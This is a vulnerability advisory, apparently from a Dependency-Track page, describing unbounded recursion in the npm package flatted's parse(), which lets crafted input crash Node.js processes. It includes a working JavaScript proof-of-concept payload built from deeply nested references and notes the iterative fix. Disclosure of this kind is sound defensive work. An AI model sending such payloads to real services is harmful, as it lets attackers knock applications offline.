Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
## Summary
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.
Same vulnerability as